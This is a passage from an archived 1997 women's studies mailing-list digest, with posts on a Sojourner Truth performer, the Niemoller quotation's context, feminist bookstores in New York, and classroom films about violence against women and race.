Content-Type: TEXT/PLAIN; charset=US-ASCII As a follow up to the posting on the Battle Creek National Women's Conference, which celebrates Sojourner Truth's 200th year, I wanted to make list members aware of a wonderful woman who does performances at colleges, universities, schools, and community organizations. Alice McGill is a professional storyteller; she is currently lecturing and performing at Battle Creek, MI as part of a month-long Kellogg fellowship. Originally from North Carolina, McGill has received numerous awards for her work, which also includes stage, TV, and movie appearances. She performed at a leadership seminar I directed this past May, and she is *fabulous.* She not only brings Sojourner Triuth alive, she also challenges her audience's assumptions and undermines historical cliches. It is truly one of those experiences that leaves you awed. She can be reached at P.O. Box 1607, Columbia, MD 21044, 410/799-0627. Mary Goldschmidt Director, The Women's Center Ramapo College of New Jersey 505 Ramapo Valley Road Mahwah, NJ 07430-1680 201/529-7462 ========================================================================= Date: Fri, 26 Sep 1997 10:49:31 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: Quotation help Comments: To: npearson@runet.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The quote you're referring to is by the Protestant minister Martin Niemoller [the o has an umlaut; my e-mail doesn't have int'l characters] (First, they came for... .). I don't have a citation source, but if your students go to the library and look him up, it'll be there. My caution about its use, however, is that this same pastor--though eventually coming to oppose *Nazism*, was nonetheless, as was true of other Christian celebres of the Nazi era (e.g. Karl Barth), an antisemite. Niemoller also made the following statement: ""We speak of the 'eternal Jew' and conjure up the picture of a restless wanderer who has no home and cannot find peace. We see a highly gifted people which produces idea after idea for the benefit of the world, but whatever it takes up becoms poisoned, and all that it ever reaps is contempt and hatred because ever and anon the world notices the deception and avenges itself in its own way."" (Daniel Jonah Goldhagen. _Hitler's Willing Executioners_. (NY:Knopf, 1996, 112) Chilling, though neither isolated nor idiosyncratic anti-Jewish commentary. Despite Edward Said's conception of ""traveling"" theory, I am cautious of the ways that de-contextualized quotations travel among both proponents and opponents of ideas, such as the use of ""essentialist"" versus ""choice"" arguments by both gay bashers and gay activists. See, for example, the Annamarie Jagose's discussion of the multiple uses of pro and con arguments in _Queer Theory: An Introduction_. Just as many U.S. liberals hold conflicting, racist beliefs about African Americans, many so-called champions of Jews in modern, as well as earlier periods of history, dating back centuries, held views such that one might conclude, 'with friends like these, who needs enemies?'. Thus, using Niemoller may result, in addition to reinscribing decontextualized appropriation and forcing questionable equivalancies, in backfiring. -- Frances E. Wood fwood01@emory.edu **************** For it is not the anger of Black women which is dripping down over this globe like a diseased liquid. It is not my anger that launches rockets, spends over sixty thousand dollars a second on missiles and other agents of war and death, slaughters children in cities, stockpiles nerve gas and chemical bombs, and sodomizes our daughters and our earth. ...We welcome all women who can meet us, face to face, beyond objectification and beyond guilt. -- Audre Lorde ========================================================================= Date: Fri, 26 Sep 1997 11:17:10 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: kae422 Subject: making a web page - question Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hi there, I was wondering if anyone has AOL and know how to use Personal Publisher II to make a web page - I need advice.... or if you know how to use Microsoft's - FrontPage98 to make a web page... please cc. copy DIRECTLY to Me ( also ) if you respond to this... thanks in advance... ~ Patricia < kae422@erinet.com > ========================================================================= Date: Fri, 26 Sep 1997 12:36:12 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Dawn Atkins Subject: Body Image Video Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Announcing... KILLING US FOR OUR OWN GOOD: DIETING AND MEDICAL MISINFORMATION What the diet industry doesn't want you to know about weight loss and your health. A Video Presentation by Dawn Atkins Sponsored by the Body Image Task Force Includes a lecture by Dawn Atkins and music, ""The Losing Game"" by Cosy Sheridan. Topics covered include the success/failure rates of dieting, the possible side effects of weight loss, the current theories of weight and metabolism, examples of the way the media, insurance and diet industry manipulates medical research, the effects of discrimination on health and happiness, and ways that people can effect change. Unlike most documentaries, purchase of the video includes the right to show it publicly (as well as privately) for educational purposes including classrooms, meetings, workshops, and public access television. Running time is 1 hr. 45 min. Send check or money order for $19.95 plus $5 shipping and handling to Body Image Task Force, PO Box 934, Santa Cruz, CA 95061-0934. All proceeds go to BITF for further distribution of the film. Dawn Atkins dawn-atkins@uiowa.edu ========================================================================= Date: Fri, 26 Sep 1997 13:17:51 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Nelda K Pearson Subject: Quotation Thanks MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Dear ALL- Thank you to all who sent either the quote, various renderings of the quote, other quotes that would be useful and/or promises to help as soon as they could. You ALL have been read, printed out for distribution, and deeply appreciated. One thing that I found VERY gratifying was how many of you said: OH, that's on my bulliten board. THank you for your speedie help. Nelda ========================================================================= Date: Fri, 26 Sep 1997 13:35:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Demetria Royals Subject: Re: Sojourner Truth In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII May I suggest that anyone attending this conference, take time to visit the grave of ST, it has become a tradition for all African American women who are accepted into the Kellogg leadership program (I am a group 14 fellow) arrange some time during our stay in exciting Battle Creek to go as a group to her grave and gave thanks to the doors she opened as well as a group agreement to ""keep on keeping on."" as this woman's life is celebrated let us not forget the recent battle fought by Black women's group to have her bust place in Washington among other women leaders, as she was not to be orginally placed in the group of ""women"" deemed to be feminist.( and still has not, or a smaller stature will be placed somewhere nearby I think, (maybe even lower, closer to the brooms?) Ah well, she really knew what she was doing when she asked ""Ain't I A Woman."" So celebrate the ""performance"" of this ""sheros's"" life by all means, but let us not forget, three years until the 21th century, her question has yet to be addressed. Demetria Royals Associate Professor Ramapo College Mahwah, New Jersey On Fri, 26 Sep 1997, Mary L Goldschmidt wrote: > As a follow up to the posting on the Battle Creek National Women's > Conference, which celebrates Sojourner Truth's 200th year, I wanted to > make list members aware of a wonderful woman who does performances at > colleges, universities, schools, and community organizations. > > Alice McGill is a professional storyteller; she is currently lecturing and > performing at Battle Creek, MI as part of a month-long Kellogg fellowship. > Originally from North Carolina, McGill has received numerous awards for > her work, which also includes stage, TV, and movie appearances. > > She performed at a leadership seminar I directed this past May, and > she is *fabulous.* She not only brings Sojourner Triuth alive, she also > challenges her audience's assumptions and undermines historical cliches. > It is truly one of those experiences that leaves you awed. > > She can be reached at P.O. Box 1607, Columbia, MD 21044, 410/799-0627. > > > Mary Goldschmidt > Director, The Women's Center > Ramapo College of New Jersey > 505 Ramapo Valley Road > Mahwah, NJ 07430-1680 > 201/529-7462 > ========================================================================= Date: Fri, 26 Sep 1997 19:10:54 +0100 Reply-To: Women's Studies List Sender: Women's Studies List From: Judy Evans Subject: Re: Quotation help In-Reply-To: <342BF5AB.7E4F@Emory.Edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 26 Sep 1997, Frances E. Wood wrote: > The quote you're referring to is by the Protestant minister Martin > Niemoller [the o has an umlaut; my e-mail doesn't have int'l characters] > (First, they came for... .). I don't have a citation source, but if your > students go to the library and look him up, it'll be there. My caution > about its use, however, is that this same pastor--though eventually > coming to oppose *Nazism*, was nonetheless, as was true of other > Christian celebres of the Nazi era (e.g. Karl Barth), an antisemite. I didn't know that. My thanks for posting it. I too am uneasy about the widespread use of ""First, they came for the Jews.... And when they came for me, there was no-one left to help me"" (this is from memory: the last bit is probably slightly wrong) My reason is different. This is an argument for solidarity that rests on prudence. Tactically, that may make sense. In principle, I do not think we should help others--I do not like my phrasing, I have to post in haste--because we too might need help. I shall give a trivial and individual-sounding example. Many of the people of this City help me when they see the braces on my hands. They do not do that because they might need that help some day--insofar as I can tell; and I suspect if that _were_ the reason, more people would help! They act because they perceive a need. I know that such conduct costs far far less than a stand against Nazism in Hitler's Germany (e.g.). And I do not want to suggest I am capable of that kind of courage: I do not know. But let us not forget the people who sheltered Jewish people, and others -- in Germany, Holland, Italy... -- at a possible massive cost. > Niemoller also made the following statement: > ""We speak of the 'eternal Jew' and conjure up (etc.) I did hear that the meaning of this piece was disputed-- I have seen it, I did not know it was Niemoller-- does anybody know? ----------------------------------------------------------- Judy Evans + Politics + jae2@york.ac.uk using speech-recognition software----please ignore mistakes ----------------------------------------------------------- ========================================================================= Date: Fri, 26 Sep 1997 12:08:50 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Marybeth Foushee Subject: Re: Body Image Video - order MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" We would like to order a copy of this video. Please give me your federal id # so that I can do a purchase order and send you a check! You can reach me by email or phone (520-523-2011). Thanks! Marybeth Foushee Northern Arizona University Women's Studies Program Box 5695 Flagstaff, AZ 86011 520-523-2011 / FAX 520-523-5560 Marybeth.Foushee@nau.edu At 12:36 PM 9/26/1997 -0500, you wrote: >Announcing... > >KILLING US FOR OUR OWN GOOD: > DIETING AND MEDICAL MISINFORMATION > >What the diet industry doesn't want you to know about weight loss and your >health. > >A Video Presentation by Dawn Atkins >Sponsored by the Body Image Task Force > >Includes a lecture by Dawn Atkins and music, ""The Losing Game"" by Cosy >Sheridan. >Topics covered include the success/failure rates of dieting, the possible >side effects of weight loss, the current theories of weight and metabolism, >examples of the way the media, insurance and diet industry manipulates >medical research, the effects of discrimination on health and happiness, and >ways that people can effect change. > >Unlike most documentaries, purchase of the video includes the right to show >it publicly (as well as privately) for educational purposes including >classrooms, meetings, workshops, and public access television. Running time >is 1 hr. 45 min. Send check or money order for $19.95 plus $5 shipping and >handling to Body Image Task Force, PO Box 934, Santa Cruz, CA 95061-0934. >All proceeds go to BITF for further distribution of the film. > >Dawn Atkins >dawn-atkins@uiowa.edu > ========================================================================= Date: Fri, 26 Sep 1997 15:13:36 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Lauraine Leblanc Subject: Re: in the Company of men I haven't seen this yet (and as I now work in rape crisis and have to protect my affect a lot, I don't think I'll be ready to in a while), but I have heard in various reviews that the woman ""seduced and scorned"" is deaf. Apparently, the two men take advantage of this by disparaging her in her presence. This, if true, could lead into a discussion of women's awareness of male manipulation/violence/patriarchy. Also, it raises many distrubing points about men's treatment of women and others with physical challenges. While it sounds to me like this film could be a useful pedagogical tool, I wonder whether it shouldn't be presented as optional (like ""The Accused"" often is)--not for everyone, and then with some preparation. Lauraine Leblanc ========================================================================= Date: Fri, 26 Sep 1997 16:29:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sally Harrison-Pepper Subject: Feminist Bookstores in NYC As friend is going to New York City and would like to visit some feminist bookstores while there. If anyone can recommend some good, all-purpose, feminist bookstores in the city, I'd be most grateful. Sally Harrison-Pepper sallynla@aol.com ========================================================================= Date: Fri, 26 Sep 1997 14:29:14 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Marilyn J. Boxer"" Subject: Address for J. Edmunds?? Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Does anyone reading the list have a current address for Jacqueline Edmunds, who posted a message here on 17 Nov 1994, about a committee formed at the Federal Reserve Board to obtain materials on women in the workplace for a library there? Neither a reply to her then email address or inquiry by phone to D.C. has helped. Thanks, Marilyn ========================================================================= Date: Fri, 26 Sep 1997 15:37:07 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Johanna Brenner Subject: Re: Feminist Bookstores in NYC In-Reply-To: <970926162733_-562620319@emout20.mail.aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 26 Sep 1997, Sally Harrison-Pepper wrote: > As friend is going to New York City and would like to visit some feminist > bookstores while there. If anyone can recommend some good, all-purpose, > feminist bookstores in the city, I'd be most grateful. In the 1980's there were two feminist bookstores in NYC. Today there are none that I know of--and I am writing to remind everyone on this list that if you have a feminist bookstore in your town, SUPPORT IT! Order all your books there, buy books as gifts for friends and relatives (birthday, ;holiday, you name it!), send your students there if you are a teacher, make sure all your feminist friends know about the store and go there. I volunteer at our local feminist bookstore--In Other Words--here in Portland and I can tell you that keeping it alive is a struggle.... > > Sally Harrison-Pepper > sallynla@aol.com > ========================================================================= Date: Fri, 26 Sep 1997 20:02:10 +0100 Reply-To: Women's Studies List Sender: Women's Studies List From: Barrie Westerman Organization: AT&T Subject: HELP MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit We are developing a Women's Studies Major at a presently all female college that is seriously considering becoming co-ed in the very near future. I am working with another faculty member on this project and would like to hear from others who have undertaken this task. I am mostly looking for suggestions for core courses for a WS major at the bachelor level. I'd appreciate any suggestions you could give us!!!!!! Sharon Sender: Women's Studies List From: Lisa McGowan Subject: Re: Feminist Bookstores in NYC Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >On Fri, 26 Sep 1997, Sally Harrison-Pepper wrote: > >> As friend is going to New York City and would like to visit some feminist >> bookstores while there. If anyone can recommend some good, all-purpose, >> feminist bookstores in the city, I'd be most grateful. Hard to believe that there are *no* feminist bookstores in NYC, isn't it? I'd like to second everything Johanna said in her post! (copied below) There are three feminist bookstores in NY state: My Sisters' Words 304 N. McBride St. Syracuse NY 13203 (315) 428-0227 Silkwood Books 633 Monroe Ave. Rochester NY 14607 (716) 473-8110 Panacea Books Ltd. 39 N. Main St. Port Chester NY 10573 (914) 939-4500 --the store in New Jersey might be closer, though: Pandora Book Peddlers 9 Waverly Place Madison, NJ 07940 (973) 822-8388 There will be a complete, updated list of feminist bookstores in both the U.S. and Canada in the back of the 1997 Feminist Bookstores' Catalog (on press now; available at the end of the month). You can pick this up for free in your local feminist bookstore, or we can send it to you (although we have to ask for $2 to cover postage and handling). > >In the 1980's there were two feminist bookstores in NYC. Today there are >none that I know of--and I am writing to remind everyone on this list >that if you have a feminist bookstore in your town, SUPPORT IT! Order >all your books there, buy books as gifts for friends and relatives >(birthday, ;holiday, you name it!), send your students there if you are a >teacher, make sure all your feminist friends know about the store and go >there. > I volunteer at our local feminist bookstore--In Other >Words--here in Portland and I can tell you that keeping it alive is a >struggle.... > > >> >> Sally Harrison-Pepper >> sallynla@aol.com >> > > Lisa McGowan Feminist Bookstore News P.O. Box 882554 San Francisco, CA 94188 tel: (415) 642-9994 fax (415) 642-9995 email: Lisa@FemBkNews.com ========================================================================= Date: Fri, 26 Sep 1997 19:44:30 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ann Elizabeth Younger Subject: Re: Poems about the uterus In-Reply-To: <97092510094346@lucy.findlay.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Group, For a colleague who doesn't have access to the list, I am posting this request. He is looking for poems about the uterus by women, and has found two: One by Anne Sexton and another by Lucille Clifton. He is wondering if there are more that we know of, and if so could you please reply privately to me. He thanks all of you in advance for your help! Beth Younger Louisiana State University Department of English ayounge@tiger.lsu.edu ========================================================================= Date: Fri, 26 Sep 1997 19:24:44 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jennifer Stair Subject: Women's Center Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Does anyone have Judy Jenning's email address? She is the director of the Women's Center at the University of Louisville. Thanks Jennifer Stair jlstai0@pop.uky.edu ========================================================================= Date: Fri, 26 Sep 1997 22:20:28 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Homer Subject: Re: Sojourner Truth MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thanks Mary. I checked back on the Battle Creek National Women's Conference and Alice McGill will be speaking/performing as part of the Chautauqua Series on October 12, 17 & 18. I haven't meant Alice McGill in person but we have a video of her performing as ST at the Michigan Women's Hall of Fame. (Sojourner Truth is commemorated as an honoree in the Michigan Women's Hall of Fame. http://atl46.atl.msu.edu/mwsa/ ) More conference info at: http://www.sojournertruth.org Mary L Goldschmidt wrote: > > As a follow up to the posting on the Battle Creek National Women's > Conference, which celebrates Sojourner Truth's 200th year, I wanted to > make list members aware of a wonderful woman who does performances at > colleges, universities, schools, and community organizations. > > Alice McGill is a professional storyteller; she is currently lecturing and > performing at Battle Creek, MI as part of a month-long Kellogg fellowship. > ========================================================================= Date: Fri, 26 Sep 1997 22:56:33 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: Jo Freeman's address In-Reply-To: <3.0.1.32.19970926092547.009c0380@uno.cc.geneseo.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Jo Freeman's email address: jfrbc@cunyvm.cuny.edu beatrice bkachuck@cuny.campus.mci.net At 09:25 AM 9/26/97 -0400, you wrote: >Our department would like to contact Jo Freeman (author of Women: A >Feminist Perspective) about the possibility of a speaking engagement. We >could write >her publisher and they would forward the letter, but that might take too >long relative to our funding opportunity. Does anyone have an email address? > >Thanks > >Pat >Pat Murphy, Ph.D. > >Associate Professor of Sociology >Sociology Dept >SUNY Geneseo >Geneseo, NY 14454 >murphy@uno.cc.geneseo.edu >716-245-5324 > > ========================================================================= Date: Fri, 26 Sep 1997 22:59:29 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: Feminist Bookstores in NYC In-Reply-To: <970926162733_-562620319@emout20.mail.aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sad to say, the only feminist bookstore closed down about 2 years ago. But there's a fair-sized women's studies section in Barnes and Noble at 18th Street and 5th Ave, also at the new one on Astor Place. Also at the St. Marks Bookstore now at 9th St. and 3rd Ave. Also at Strand's on Broadway and 12th; big collection of second hand books, reviewer copies there. beatrice bkachuck@cunyvm.cuny.edu At 04:29 PM 9/26/97 -0400, you wrote: >As friend is going to New York City and would like to visit some feminist >bookstores while there. If anyone can recommend some good, all-purpose, >feminist bookstores in the city, I'd be most grateful. > >Sally Harrison-Pepper >sallynla@aol.com > > ========================================================================= Date: Sat, 27 Sep 1997 00:42:36 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Koppelman Subject: Fwd: AWARDS COMPETITION If you have any questions, please email Huddis@aol.com. Thanks, Susan Koppelman --------------------- Forwarded message: Subj: Fwd: AWARDS COMPETITION Date: 97-09-26 19:21:42 EDT From: Huddis To: WMST-L@umdd.umd.edu --------------------- Forwarded message: Subj: AWARDS COMPETITION Date: 97-09-26 19:15:25 EDT From: Huddis To: H-PCAACA@h-net.msu.edu THE PCA/ACA WOMEN'S CAUCUS AWARDS FOR EXCELLENCE IN FEMINIST STUDIES OF POPULAR CULTURE AND AMERICAN CULTURE Thirteenth Annual Awards Competition Entries are invited for four annual awards, each honoring the best feminist studies in popular culture and American culture: * The best single-author study of the year: the Emily Toth Award * The best anthology, multi-authored, or edited work: the Susan Koppelman Award *The best published article: the Jane Bakerman Award *The best unpublished article: the Kathleen Gregory Klein Award Award winners will be announced at the ACA/PCA annual convention in Orlando in April, 1998. Submissions and Nominations Procedures: All material published in 1997 is eligible for consideration for this year's awards. The deadline for receipt of materials to be considered is February 1, 1998. Please send materials as early as possible. Please send THREE copies of the materials to be judged to the appropriate awards committe: Single-author volume: Emily Toth Award Committee, English Dept., Louisiana State University, Baton Roughe, LA 70803-5001. Anthology, multi-authored, or edited work: Susan Koppelman Award Committee, 4375 E. Coronado Ridge Lane, Tucson, Arizona 85739-8961 (two copies) Susan Koppelman Award Committee, Prof. Alison Scott, Popular Culture Library, Bowling Green State University, Bowling Green, Ohio 43403 (one copy) Published Article: Jane Bakerman Award Committee, English Dept., Indiana State University, Terre Haure, IN 47809 Unpublished article (length about 20 pages): Kathleen Gregory Klein Award Committee, Southern Connecticut State University, 501 Crescent Street, New Haven, CT 06515 Material may be sent by the author, the publisher, or anyone who wishes to nominate the material. Please post this announcement on other appropriate lists. Thank you. ========================================================================= Date: Sat, 27 Sep 1997 09:25:37 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: feminist bookstores in NY MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT I am posting this response from Shelly Weiss, who is having problems posting. Joan Korenman (korenman@umbc2.umbc.edu) *********************************** Happy to say that there's a terrific feminist bookstore called Beyond Words in Park Slope, Brooklyn that's opened in the last year. It's a real community gathering place in what's affectionately called Dyke Slope (highest density of lesbian households in the U.S. according to the 1990 census) for feminists, queers, and activists of diverse progressive bents. It's adjacent to Rising Cafe, a lesbian run cafe, and music lounge where local feminists hang out and where Manhattanites find a reason to expatriate to the outer boroughs. If you really want to make a weekend out of it, you can also visit other neighborhood finds including the Lesbian Herstory Archives, Brooklyn Women's Martial Arts' Center for Anti-Violence Education, The Brooklyn Center for Lesbian and Gay Arts and Artists at the Gowanus Arts Exchange and OUTmedia. Shelly Weiss 718-789-1776 OUTmedia@msn.com OUTmedia's mission is to increase the positive visibility of LGBT people through the arts. OUTmedia promotes inclusive multiculturalism at colleges and is a source for out LGBT and queer-affirmative artists rooted in women's, African-American, Latina/o, Jewish and Asian traditions. ========================================================================= Date: Sat, 27 Sep 1997 09:35:40 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: Feminist Bookstores in NYC Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >As friend is going to New York City and would like to visit some feminist >bookstores while there. If anyone can recommend some good, all-purpose, >feminist bookstores in the city, I'd be most grateful. > >Sally Harrison-Pepper >sallynla@aol.com There are NO feminist bookstores in NYC!! Judith's Room closed at least 2-3 years ago. As big as NYC is, there is just too much competition and too high rents and too little community support for a feminist bookstore to survive 9saddly on all accounts). The only feminist bookstores in New York STATE are: Panacea in Port Chester Silkwood in Rochester and My Sisters' Words in Syracuse sad but true. Mev WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Sat, 27 Sep 1997 11:12:32 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Heather Dell Subject: films about violence against women MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit I am using Rosewood, the recent video about a white woman who covers up her victimization by her husband by allowing an African American man to be confronted by the white community on a rape charge in 1920s Florida. It is part of a section in my Women and Violence course that focuses not only on how sexual assault allegations have been used against communities of color, but also to begin to explore how women of color have been asked to avoid accusing brothers. I use an episode of Frontline called Clarence Thomas, Anita Hill, Public Hearing, Private Pain. It includes interviews with people like Paula Giddings. I am supporting ""Rosewood"" with: from P. Giddings _Where and When I Enter_, ""To Sell My Life..."" from bell hooks' _Ain't I a Woman_, ""Undeclared War: African American Women Writers"" from Michael Dyson ""The Plight of the Black Man"" I am supporting ""CT, AH..."" with: James Jones' ""Whites Are from Mars, O.J. Is from Planet Hollywood..."" in Off White and I am considering looking at a chapter of Jill Nelson's book called _Straight, No Chaiser_ I would welcome hearing about other violence against women films, or materials that have been particularly effective in connecting gender and race/ethnicity/class for students. I will track down ""Calling the Ghosts"" soon! Best, Heather Dell Women's Studies Program University of Delaware ========================================================================= Date: Sat, 27 Sep 1997 11:20:42 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Heather Dell Subject: films on women and violence MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit correction: ""Undeclared War: African American Women Writers"" is, of course, written by Opal Palmer Adisa and can be found in the new anthology _Gender Violence_ by Laura O'Toole and Jessica Schiffman, NYU Press, 1997. ========================================================================= Date: Sat, 27 Sep 1997 11:22:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jack Meacham Subject: Re: Feminist Bookstores in NYC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 27 Sep 1997, Women's Presses Library Project, Mev Miller wrote: > >As friend is going to New York City and would like to visit some feminist > >bookstores while there. If anyone can recommend some good, all-purpose, > >feminist bookstores in the city, I'd be most grateful. > > > >Sally Harrison-Pepper > >sallynla@aol.com > > The only feminist bookstores in New York STATE are: > Panacea in Port Chester > Silkwood in Rochester > and > My Sisters' Words in Syracuse > Talking Leaves, 716-837-8554, 3158 Main Street, Buffalo (near the south campus of State University of New York at Buffalo) has many feminist titles. Yes, this may be a bit far from New York City (so are Rochester and Syracuse); however, several years ago a friend from California planning a visit asked if she stayed with us could she ride the subway to Times Square. ========================================================================= Date: Sat, 27 Sep 1997 12:03:02 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Catherine Hopwood Subject: Re: films about violence against women In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I would appreciate knowing where to obtain the film 'Calling the Ghosts'. It sounds like it could be useful for a class on women's health I'm currently teaching. Thanks very much, Catherine Hopwood Box 269 McMaster University, Hamilton, Ontario, L8S 1C0. telephone: 905-627-0393 e-mail: chopwood@hwcn.org On Thu, 25 Sep 1997, Regina Marie Buccola wrote: > Even though you mentioned it already in your post, let me put in a loud > second for the motion in favor of _Calling the Ghosts_. Not only does the > film confront head-on an unfortunately current issue, but it also ends > with a very empowering message (the central women going to the Hague to > fight back with international legal assistance against their attackers). > The students in an international women course last year were positively > riveted by it and said as much in the course evaluation at the end of the > semester. > > > gina buccola > ========================================================================= Date: Sat, 27 Sep 1997 15:31:12 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Ramesh Seppehrrad Subject: sign-off Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit MAIL-OFF ========================================================================= Date: Sat, 27 Sep 1997 12:48:43 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Re: films about violence against women In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I thought Rosewood was an excellent movie. Two caveats: That there was no analysis of the white woman's point of view; she was simply made to be the villain. Why did she hide the abuse by the man (not her husband as I recall) who beat her? What were the forces that caused her to place blame on an African American man? On the other hand, the film gave a great deal of understanding attention to the white male storeowner placing him more at the center than necessary and pretty much excusing his exploitation of African American men and women and his white wife. Jackie At 11:12 AM -0400 9/27/97, Heather Dell wrote: >I am using Rosewood, the recent video about a white woman who covers up >her victimization by her husband by allowing an African American man to >be confronted by the white community on a rape charge in 1920s Florida. >It is part of a section in my Women and Violence course that focuses not >only on how sexual assault allegations have been used against communities >of color, but also to begin to explore how women of color have been asked >to avoid accusing brothers. I use an episode of Frontline called >Clarence Thomas, Anita Hill, Public Hearing, Private Pain. It includes >interviews >with people like Paula Giddings. > >I am supporting ""Rosewood"" with: >from P. Giddings _Where and When I Enter_, ""To Sell My Life..."" >from bell hooks' _Ain't I a Woman_, ""Undeclared War: African American Women > Writers"" >from Michael Dyson ""The Plight of the Black Man"" > >I am supporting ""CT, AH..."" with: >James Jones' ""Whites Are from Mars, O.J. Is from Planet Hollywood..."" > in Off White >and I am considering looking at a chapter of Jill Nelson's book called > _Straight, No Chaiser_ > >I would welcome hearing about other violence against women films, >or materials that have been particularly effective in connecting gender >and race/ethnicity/class for students. I will track down ""Calling the >Ghosts"" >soon! > >Best, > >Heather Dell >Women's Studies Program >University of Delaware __________ Jackie Thomason 510-547-1518 jackiet@sirius.com; Msjackiet@aol.com __________ ========================================================================= Date: Sat, 27 Sep 1997 12:36:01 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheilagh A Mogford Subject: Introductory Assessment (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ---------- Forwarded message ---------- Date: Thu, 25 Sep 1997 10:19:03 -0600 (MDT) From: Sheilagh A Mogford To: WMST-L@UMDD.UMD.EDU Subject: Introductory Assessment A colleague in our WS program here at the University of Northern Colorado has asked me to post this request to the list. Does anyone know of or have access to a ""multiple choice""-type testing instrument that can be used in an introductory WS course to assess knowledge level of students at the outset of a course? I know that multiple choice tests are really a difficult way to assess this kind of thing, but she's looking for something that could provide a sort of benchmark regarding students' beliefs/attitudes/ideas, etc. If anyone knows of such a thing, please reply to me privately at samogfo@bentley.unco.edu. Thank you in advance, Sheilagh A. Mogford University of Northern Colorado samogfo@bentley.unco.edu ========================================================================= Date: Sat, 27 Sep 1997 17:39:43 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances K. Gateward"" Subject: Re: films about violence against women Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Jackie, The motivation for hiding the abuse was to hide the fact that she was having an affair. She could not charge the man who beat her with assault since as a married woman she was not supposed to be with him in the first place. Secondly, the forces that caused her to place the blame on an African American male involve the stereotype of African American men as rapists and the erroneous belief that all African American men lust after white women. During the period in which the film takes place, lynching of African American men (and women) was common - often based on false and imagined assaults on white women. Interesting note - it is still the cause today of many abuses. Remember the case aired on 911 in Massachusetts when a white man, who killed his pregnant wife and was shot claimed the crime was committed by an African American man and it was later brought out that he had committed the crime himself? At 12:48 PM 9/27/97 -0800, you wrote: >I thought Rosewood was an excellent movie. Two caveats: > >That there was no analysis of the white woman's point of view; she was >simply made to be the villain. Why did she hide the abuse by the man (not >her husband as I recall) who beat her? What were the forces that caused >her to place blame on an African American man? > >On the other hand, the film gave a great deal of understanding attention to >the white male storeowner placing him more at the center than necessary and >pretty much excusing his exploitation of African American men and women and >his white wife. > > > >Jackie > > > >At 11:12 AM -0400 9/27/97, Heather Dell wrote: >>I am using Rosewood, the recent video about a white woman who covers up >>her victimization by her husband by allowing an African American man to >>be confronted by the white community on a rape charge in 1920s Florida. >>It is part of a section in my Women and Violence course that focuses not >>only on how sexual assault allegations have been used against communities >>of color, but also to begin to explore how women of color have been asked >>to avoid accusing brothers. I use an episode of Frontline called >>Clarence Thomas, Anita Hill, Public Hearing, Private Pain. It includes >>interviews >>with people like Paula Giddings. >> >>I am supporting ""Rosewood"" with: >>from P. Giddings _Where and When I 